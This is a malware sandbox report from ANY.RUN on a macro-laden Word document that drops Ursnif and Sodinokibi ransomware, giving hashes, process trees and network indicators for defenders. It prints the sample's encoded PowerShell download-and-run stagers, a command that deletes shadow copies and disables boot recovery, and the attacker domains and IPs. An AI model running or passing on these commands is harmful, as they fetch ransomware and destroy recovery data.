Malware analysis info_17.07.doc Malicious activity | ANY.RUN

analyze malware

Huge database of samples and IOCs
Custom VM setup
Unlimited submissions
Interactive approach

Add for printing

File name:	info_17.07.doc
Full analysis:	https://app.any.run/tasks/52eca730-95ed-425c-bdcc-9ea47ccb5722
Verdict:	Malicious activity
Threats:	A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. Ransomware is a type of malicious software that locks users out of their system or data using different methods to force them to pay a ransom. Most often, such programs encrypt files on an infected machine and demand a fee to be paid in exchange for the decryption key. Additionally, such programs can be used to steal sensitive information from the compromised computer and even conduct DDoS attacks against affected organizations to pressure them into paying. REvil, also called Sodinokibi, is a notorious ransomware strain known for its use of sophisticated encryption techniques, high-profile targeted attacks, and connections to GandCrab. Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. Ursnif is a banking Trojan that usually infects corporate victims. It is based on an old malware but was substantially updated over the years and became quite powerful. Today Ursnif is one of the most widely spread banking Trojans in the world. Malware Trends Tracker >>>
Analysis date:	July 17, 2019, 10:30:46
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open generated-doc gozi ursnif loader ransomware sodinokibi trojan dreambot
Indicators:
MIME:	application/msword
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Title: kmpfeasehdkgzczvykoqteekl, Subject: fmupxymxyqxqmytcgdllcpopjg, Comments: xyghftkvgkrfmucd, Template: Normal, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Apr 25 22:21:00 2018, Last Saved Time/Date: Tue Jul 16 21:40:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
MD5:	70D38D27BB438DD5712A942BCDE3378F
SHA1:	E184ED54102D237E1DA605FAF2BD451FEE5D1CA4
SHA256:	C1A4878CBD32046E2FD73BBD910C62354C22BA5E53F10451420FD2F7E778A90C
SSDEEP:	768:Ez+jGjZE2kXC8954mXbYhQ2F+JOXvfjhqML7I3livNe+NotIgUdS37e3yrPkQK7h:E6jGjrm5Xfh83jhVs3sE+No2g97Cy2/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (75.0.3770.100)
Google Update Helper (1.3.34.7)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.7.2 (4.7.03062)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.21.27702 (14.21.27702.2)
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.21.27702 (14.21.27702)
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.21.27702 (14.21.27702)
Mozilla Firefox 67.0.4 (x86 en-US) (67.0.4)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
Update for Microsoft .NET Framework 4.7.2 (KB4087364) (1)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB4019990
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

Add for printing

MALICIOUS
- Application was dropped or rewritten from another process
  - aGpPDP.exe (PID: 2392)
- URSNIF was detected
  - powershell.exe (PID: 2748)
  - iexplore.exe (PID: 232)
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 3488)
- Executes PowerShell scripts
  - WINWORD.EXE (PID: 3488)
- Sodinokibi keys found
  - powershell.exe (PID: 1924)
- Downloads executable files from the Internet
  - powershell.exe (PID: 2748)
- Sodinokibi ransom note found
  - powershell.exe (PID: 1924)
- Deletes shadow copies
  - cmd.exe (PID: 3232)
- Starts BCDEDIT.EXE to disable recovery
  - cmd.exe (PID: 3232)
- Renames files like Ransomware
  - powershell.exe (PID: 1924)
- Dropped file may contain instructions of ransomware
  - powershell.exe (PID: 1924)
- Changes settings of System certificates
  - powershell.exe (PID: 1924)
- Connects to CnC server
  - iexplore.exe (PID: 232)
SUSPICIOUS
- Executable content was dropped or overwritten
  - powershell.exe (PID: 2748)
- Creates files in the user directory
  - powershell.exe (PID: 2748)
  - powershell.exe (PID: 1924)
- Executes PowerShell scripts
  - powershell.exe (PID: 2748)
- Starts CMD.EXE for commands execution
  - powershell.exe (PID: 1924)
- Application launched itself
  - powershell.exe (PID: 2748)
- Executed via COM
  - unsecapp.exe (PID: 2776)
  - iexplore.exe (PID: 2164)
- Creates files in the program directory
  - powershell.exe (PID: 1924)
- Executed as Windows Service
  - vssvc.exe (PID: 3676)
- Creates files like Ransomware instruction
  - powershell.exe (PID: 1924)
- Adds / modifies Windows certificates
  - powershell.exe (PID: 1924)
INFO
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 3488)
- Creates files in the user directory
  - WINWORD.EXE (PID: 3488)
  - iexplore.exe (PID: 232)
- Reads settings of System Certificates
  - powershell.exe (PID: 2748)
- Dropped object may contain TOR URL's
  - powershell.exe (PID: 1924)
- Reads Internet Cache Settings
  - iexplore.exe (PID: 232)
- Changes internet zones settings
  - iexplore.exe (PID: 2164)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.doc	\|	Microsoft Word document (54.2)
.doc	\|	Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType:	Microsoft Word 97-2003 Document
CompObjUserTypeLen:	32
HeadingPairs:	Title 1 Название 1
TitleOfParts:	kmpfeasehdkgzczvykoqteekl
HyperlinksChanged:	No
SharedDoc:	No
LinksUpToDate:	No
ScaleCrop:	No
AppVersion:	16
CharCountWithSpaces:	1
Paragraphs:	1
Lines:	1
Bytes:	22528
Company:	-
Manager:	-
CodePage:	Windows Cyrillic
Security:	None
Characters:	1
Words:	-
Pages:	1
ModifyDate:	2019:07:16 20:40:00
CreateDate:	2018:04:25 21:21:00
TotalEditTime:	-
Software:	Microsoft Office Word
RevisionNumber:	1
LastModifiedBy:	-
Template:	Normal
Comments:	xyghftkvgkrfmucd
Keywords:	-
Author:	-
Subject:	fmupxymxyqxqmytcgdllcpopjg
Title:	kmpfeasehdkgzczvykoqteekl

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
3488	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\info_17.07.doc"	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	—	explorer.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000
2748	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtACgAWwBzAHkAUwB0AGUAbQAuAEkATwAuAE0ARQBNAE8AcgBZAHMAdAByAGUAQQBtAF0AWwBzAFkAUwBUAGUATQAuAEMATwBOAFYAZQByAFQAXQA6ADoARgBSAG8ATQBCAGEAcwBlADYANABzAHQAcgBpAG4ARwAoACcAVABaAEIAUgBiADQASQB3AEYASQBYAGYAbAArAHcALwA5AEkARwBsAEUARwBjAEoARABxAE4AQwB5AEwASwBJAE0AVwBRAEcAagBiAHEANABaAEYAdABpAHcAUQBMAGQAQwBtADEAbwBGAFIAbgB4AHYANAA4AGwANgB2AFoAeQA3ADgAcwA1ADkANQA3AHYAYQBFAEUAZABDAFAAeQA4AEEAaAA2AEEAZQBDAG8AVwAvAGcASwA2ADIAbwB1AG8AeABHAGIAagBhAGEAUQA0AE8ASAB0AEoAUwBsAEgAeQBoAEQATABTAGcAZQArAHcAbwA1ADAATgBIAFkAagBJAGsAYgBSAGkAYgBpAGUAagBsADUAMgBIAGQARgBqAEEARABpAFIAVgBsADcAYwByACsAaQBTAHgAZwBnAFkASQB5AFgAYQA5AFIAUgBzAFMAYgBjAGMAegBTAHMASwAxAHEAeAAzADIAUwAzAC8AKwA5AEQAMwAyAFkASwBhAFUAYwBFAHcAegBpAFgARgBlAE0AMABaAG8AVgBPAEsATQA1AGsAaAB4AFkAYwBxADYANABtAGEAUwBjAGwANABoAGsAWQBsAEgANQB1ADIATwBNAGMATgBTADkAbABGADYAWgBCAEIASgB3AGEAagBTADQAUgAwADAAMwBJAFMAWABCAE0AZQBaAHIAZwBVAEwAawBkAHMAaAAzAFEAQgBhAGcATwBzAFQAbwAxAEYAbAAzAFoAdwBqAEkAcAA5AFgASQBlAFAAWQBUAHcASQAyACsAVABQAGMAZwB6AE8AdgA0AFEAWQBKADAAUABVAFcAWgBFAHAAVQBOADIAZwBwAEYARwBsAEgAMwBtAEoAYwBGAEkAaABOAHcAcQBuAEsAUQBEAGMAbABvAEQAYwBhAEQAQQB6AFEAdgBQAGsAVQBwAHcAVwBYAGkAcwBZAFMATABVAG8AZQBFAHkAawAvAEgARwBlADEAeABrAHUAbABYAHkAOQBIAGIAYwBvAHYAOQAzAFMASwBzAFkAcQB6ADUAbgBSAHkAUQBUAEIANQAxAGYAOABGAEsAMgBaAHoANwBLADkAVQBHAFIAUwBwAGYAbQBuAEcARwB2AGEAUgBOAFgAcABBAGwAbQAyAGgAbgBqADAAMABVAC8AbgBiAEIAagBRAE0AOQAvAGIAbQBCAHcAPQA9ACcAKQAgACwAWwBzAFkAcwBUAGUAbQAuAGkAbwAuAGMATwBNAHAAUgBlAFMAcwBpAE8ATgAuAEMAbwBtAHAAcgBlAHMAcwBJAE8ATgBNAE8ARABFAF0AOgA6AEQARQBDAG8AbQBwAHIAZQBTAFMAIAApAHwAJgAoACcAZgAnACsAJwBvAHIAZQAnACsAJwBhAGMASAAnACkAewAgACYAKAAnAE4ARQBXAC0AbwBiACcAKwAnAEoAJwArACcARQBjAFQAJwApACAAIABpAGAAbwAuAGAAUwBgAFQAcgBlAGEAbQBSAEUAQQBEAEUAUgAoACQAXwAsAFsAcwB5AFMAVABlAG0ALgBUAEUAeABUAC4ARQBOAGMAbwBkAEkAbgBHAF0AOgA6AGEAcwBDAGkAaQApACAAfQB8AC4AKAAnAEYAbwByAEUAYQAnACsAJwBDACcAKwAnAEgAJwApAHsAJABfAC4AcgBlAGEAZAB0AG8AZQBuAGQAKAApACAAfQAgACkAIAB8AC4AKAAnAEkAJwArACcARQAnACAAKwAgACcAWAAnACkA	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe		WINWORD.EXE
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255)
2392	"C:\Users\admin\aGpPDP.exe"	C:\Users\admin\aGpPDP.exe	—	powershell.exe
User: admin Integrity Level: MEDIUM
1924	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtACgAWwBzAHkAUwB0AGUAbQAuAEkATwAuAE0ARQBNAE8AcgBZAHMAdAByAGUAQQBtAF0AWwBzAFkAUwBUAGUATQAuAEMATwBOAFYAZQByAFQAXQA6ADoARgBSAG8ATQBCAGEAcwBlADYANABzAHQAcgBpAG4ARwAoACcAVABaAEIAUgBiADQASQB3AEYASQBYAGYAbAArAHcALwA5AEkARwBsAEUARwBjAEoARABxAE4AQwB5AEwASwBJAE0AVwBRAEcAagBiAHEANABaAEYAdABpAHcAUQBMAGQAQwBtADEAbwBGAFIAbgB4AHYANAA4AGwANgB2AFoAeQA3ADgAcwA1ADkANQA3AHYAYQBFAEUAZABDAFAAeQA4AEEAaAA2AEEAZQBDAG8AVwAvAGcASwA2ADIAbwB1AG8AeABHAGIAagBhAGEAUQA0AE8ASAB0AEoAUwBsAEgAeQBoAEQATABTAGcAZQArAHcAbwA1ADAATgBIAFkAagBJAGsAYgBSAGkAYgBpAGUAagBsADUAMgBIAGQARgBqAEEARABpAFIAVgBsADcAYwByACsAaQBTAHgAZwBnAFkASQB5AFgAYQA5AFIAUgBzAFMAYgBjAGMAegBTAHMASwAxAHEAeAAzADIAUwAzAC8AKwA5AEQAMwAyAFkASwBhAFUAYwBFAHcAegBpAFgARgBlAE0AMABaAG8AVgBPAEsATQA1AGsAaAB4AFkAYwBxADYANABtAGEAUwBjAGwANABoAGsAWQBsAEgANQB1ADIATwBNAGMATgBTADkAbABGADYAWgBCAEIASgB3AGEAagBTADQAUgAwADAAMwBJAFMAWABCAE0AZQBaAHIAZwBVAEwAawBkAHMAaAAzAFEAQgBhAGcATwBzAFQAbwAxAEYAbAAzAFoAdwBqAEkAcAA5AFgASQBlAFAAWQBUAHcASQAyACsAVABQAGMAZwB6AE8AdgA0AFEAWQBKADAAUABVAFcAWgBFAHAAVQBOADIAZwBwAEYARwBsAEgAMwBtAEoAYwBGAEkAaABOAHcAcQBuAEsAUQBEAGMAbABvAEQAYwBhAEQAQQB6AFEAdgBQAGsAVQBwAHcAVwBYAGkAcwBZAFMATABVAG8AZQBFAHkAawAvAEgARwBlADEAeABrAHUAbABYAHkAOQBIAGIAYwBvAHYAOQAzAFMASwBzAFkAcQB6ADUAbgBSAHkAUQBUAEIANQAxAGYAOABGAEsAMgBaAHoANwBLADkAVQBHAFIAUwBwAGYAbQBuAEcARwB2AGEAUgBOAFgAcABBAGwAbQAyAGgAbgBqADAAMABVAC8AbgBiAEIAagBRAE0AOQAvAGIAbQBCAHcAPQA9ACcAKQAgACwAWwBzAFkAcwBUAGUAbQAuAGkAbwAuAGMATwBNAHAAUgBlAFMAcwBpAE8ATgAuAEMAbwBtAHAAcgBlAHMAcwBJAE8ATgBNAE8ARABFAF0AOgA6AEQARQBDAG8AbQBwAHIAZQBTAFMAIAApAHwAJgAoACcAZgAnACsAJwBvAHIAZQAnACsAJwBhAGMASAAnACkAewAgACYAKAAnAE4ARQBXAC0AbwBiACcAKwAnAEoAJwArACcARQBjAFQAJwApACAAIABpAGAAbwAuAGAAUwBgAFQAcgBlAGEAbQBSAEUAQQBEAEUAUgAoACQAXwAsAFsAcwB5AFMAVABlAG0ALgBUAEUAeABUAC4ARQBOAGMAbwBkAEkAbgBHAF0AOgA6AGEAcwBDAGkAaQApACAAfQB8AC4AKAAnAEYAbwByAEUAYQAnACsAJwBDACcAKwAnAEgAJwApAHsAJABfAC4AcgBlAGEAZAB0AG8AZQBuAGQAKAApACAAfQAgACkAIAB8AC4AKAAnAEkAJwArACcARQAnACAAKwAgACcAWAAnACkA	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe		powershell.exe
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255)
2776	C:\Windows\system32\wbem\unsecapp.exe -Embedding	C:\Windows\system32\wbem\unsecapp.exe	—	svchost.exe
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Sink to receive asynchronous callbacks for WMI client application Version: 6.1.7600.16385 (win7_rtm.090713-1255)
3232	"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures	C:\Windows\System32\cmd.exe	—	powershell.exe
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)
2732	vssadmin.exe Delete Shadows /All /Quiet	C:\Windows\system32\vssadmin.exe	—	cmd.exe
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Command Line Interface for Microsoft® Volume Shadow Copy Service Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255)
3676	C:\Windows\system32\vssvc.exe	C:\Windows\system32\vssvc.exe	—	services.exe
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Volume Shadow Copy Service Version: 6.1.7600.16385 (win7_rtm.090713-1255)
3072	bcdedit /set {default} recoveryenabled No	C:\Windows\system32\bcdedit.exe	—	cmd.exe
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Boot Configuration Data Editor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)
3308	bcdedit /set {default} bootstatuspolicy ignoreallfailures	C:\Windows\system32\bcdedit.exe	—	cmd.exe
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Boot Configuration Data Editor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)

Add for printing

Total events

2 304

Read events

1 710

Write events

Delete events

Modification events

No data

Add for printing

Executable files

Suspicious files

166

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3488	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVRE84E.tmp.cvr		—
		MD5:—	SHA256:—
2748	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X7XQ345ORSQG8O6CF020.temp		—
		MD5:—	SHA256:—
1924	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q999VH0W7L8W1MD4Z9TS.temp		—
		MD5:—	SHA256:—
3488	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~DF495A3BE37B43E32A.TMP		—
		MD5:—	SHA256:—
3488	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~DF974A5EFDE3C94C98.TMP		—
		MD5:—	SHA256:—
3488	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~DFF88ED3C2D7DF569F.TMP		—
		MD5:—	SHA256:—
2748	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:4B92A079D7F4DFA0DFE9125E60FE7814	SHA256:E96B52BC25AE8BA162760C1F5159606ED78EB1EC4CBA0F98AAD2915AE22D8E04
3488	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd		tlb
		MD5:A745D12F4A46BEB8124AC2EB21B43E45	SHA256:82087CA4679A1A11EA0D1F7355E0C8D887A245FC04E17B285F62CF9B1C2B86FA
1924	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF11122d.TMP		binary
		MD5:4B92A079D7F4DFA0DFE9125E60FE7814	SHA256:E96B52BC25AE8BA162760C1F5159606ED78EB1EC4CBA0F98AAD2915AE22D8E04
1924	powershell.exe	C:\config.msi\7v6db6f-readme.txt		binary
		MD5:36031971FB07D335AA181953C2D0A0B5	SHA256:30AEE722359F93EB55B714E2270607797778B1473307FC3F41EA3D77FFDB72C5

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
232	iexplore.exe	GET	301	13.77.161.179:80	http://microsoft.com/images/xCQOEaIjB22l7d3ZsmG/3uINFgahz66VJugaY0uqff/SJL2GHRu_2Ft_/2FNAREKt/gFtKJHeQXFb3C3nHAn9DHPv/jW_2BUj8sy/vPO0FgOOGjT1VH5ep/4VzNBqxSbEN9/_2B0DN2VFaj/NxOA8zZMR_2FQy/uVjTNX_2BKa/CO.avi	US	—	—	whitelisted
2748	powershell.exe	GET	200	185.193.141.146:80	http://fcamylleibrahim.top/sywo/fgoow.php?l=dxclass5.gxl	RU	executable	472 Kb	malicious
1924	powershell.exe	GET	200	185.193.141.248:80	http://185.193.141.248/gs.php	RU	text	406 b	suspicious
1924	powershell.exe	GET	200	2.16.186.56:80	http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab	unknown	compressed	56.3 Kb	whitelisted
1924	powershell.exe	GET	200	2.16.186.56:80	http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E.crt	unknown	der	993 b	whitelisted
2164	iexplore.exe	GET	200	204.79.197.200:80	http://www.bing.com/favicon.ico	US	image	237 b	whitelisted

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
1924	powershell.exe	104.20.208.21:443	pastebin.com	Cloudflare Inc	US	shared
1924	powershell.exe	208.113.140.37:443	production-stills.co.uk	New Dream Network, LLC	US	unknown
2748	powershell.exe	185.193.141.146:80	fcamylleibrahim.top	IT Mir LLC	RU	suspicious
2748	powershell.exe	104.20.208.21:443	pastebin.com	Cloudflare Inc	US	shared
2164	iexplore.exe	204.79.197.200:80	www.bing.com	Microsoft Corporation	US	whitelisted
1924	powershell.exe	94.231.107.137:443	trivselsguide.dk	Zitcom A/S	DK	suspicious
232	iexplore.exe	2.18.233.62:443	www.microsoft.com	Akamai International B.V.	—	whitelisted
232	iexplore.exe	13.77.161.179:80	microsoft.com	Microsoft Corporation	US	whitelisted
1924	powershell.exe	185.193.141.248:80	—	IT Mir LLC	RU	suspicious
2748	powershell.exe	185.193.141.248:80	—	IT Mir LLC	RU	suspicious

DNS requests

Domain	IP	Reputation
fcamylleibrahim.top	185.193.141.146	malicious
pastebin.com	104.20.208.21 104.20.209.21	shared
trivselsguide.dk	94.231.107.137	suspicious
production-stills.co.uk	208.113.140.37	suspicious
www.bing.com	204.79.197.200 13.107.21.200	whitelisted
microsoft.com	13.77.161.179 40.113.200.201 104.215.148.63 40.112.72.205 40.76.4.15	whitelisted
www.microsoft.com	2.18.233.62	whitelisted
logosindustries.com	209.97.129.7	suspicious
www.logosindustries.com	209.97.129.7	malicious
tilldeeke.de	95.143.172.245	malicious

Threats

PID	Process	Class	Message
—	—	Potentially Bad Traffic	ET DNS Query to a *.top domain - Likely Hostile
2748	powershell.exe	Potentially Bad Traffic	ET INFO HTTP Request to a *.top domain
2748	powershell.exe	Potential Corporate Privacy Violation	ET POLICY PE EXE or DLL Windows file download HTTP
2748	powershell.exe	Potentially Bad Traffic	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2748	powershell.exe	Misc activity	ET INFO Possible EXE Download From Suspicious TLD
2748	powershell.exe	Misc activity	ET INFO EXE - Served Attached HTTP
1924	powershell.exe	A Network Trojan was detected	ET INFO PowerShell DownloadString Command Common In Powershell Stagers
232	iexplore.exe	A Network Trojan was detected	MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in

3 ETPRO signatures available at the full report

Add for printing

No debug info

General Info

info_17.07.doc

70D38D27BB438DD5712A942BCDE3378F

E184ED54102D237E1DA605FAF2BD451FEE5D1CA4

C1A4878CBD32046E2FD73BBD910C62354C22BA5E53F10451420FD2F7E778A90C

768:Ez+jGjZE2kXC8954mXbYhQ2F+JOXvfjhqML7I3livNe+NotIgUdS37e3yrPkQK7h:E6jGjrm5Xfh83jhVs3sE+No2g97Cy2/

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Application was dropped or rewritten from another process

URSNIF was detected

Unusual execution from Microsoft Office

Executes PowerShell scripts

Sodinokibi keys found

Downloads executable files from the Internet

Sodinokibi ransom note found

Deletes shadow copies

Starts BCDEDIT.EXE to disable recovery

Renames files like Ransomware

Dropped file may contain instructions of ransomware

Changes settings of System certificates

Connects to CnC server

SUSPICIOUS

Executable content was dropped or overwritten

Creates files in the user directory

Executes PowerShell scripts

Starts CMD.EXE for commands execution

Application launched itself

Executed via COM

Creates files in the program directory

Executed as Windows Service

Creates files like Ransomware instruction

Adds / modifies Windows certificates

INFO

Reads Microsoft Office registry keys

Creates files in the user directory

Reads settings of System Certificates

Dropped object may contain TOR URL's

Reads Internet Cache Settings

Changes internet zones settings

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings